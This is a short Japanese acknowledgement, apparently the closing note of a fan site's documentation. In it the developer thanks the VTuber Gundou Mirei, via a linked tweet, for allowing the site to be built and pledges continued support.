最後に https://twitter.com/g9v9g_mirei/status/1234880357696077825 にてこのサイトの開発を許していただいた郡道美玲さん本人に感謝を述べたいです。
開発を快諾してくださりありがとうございます。これからも推していこうと思います。
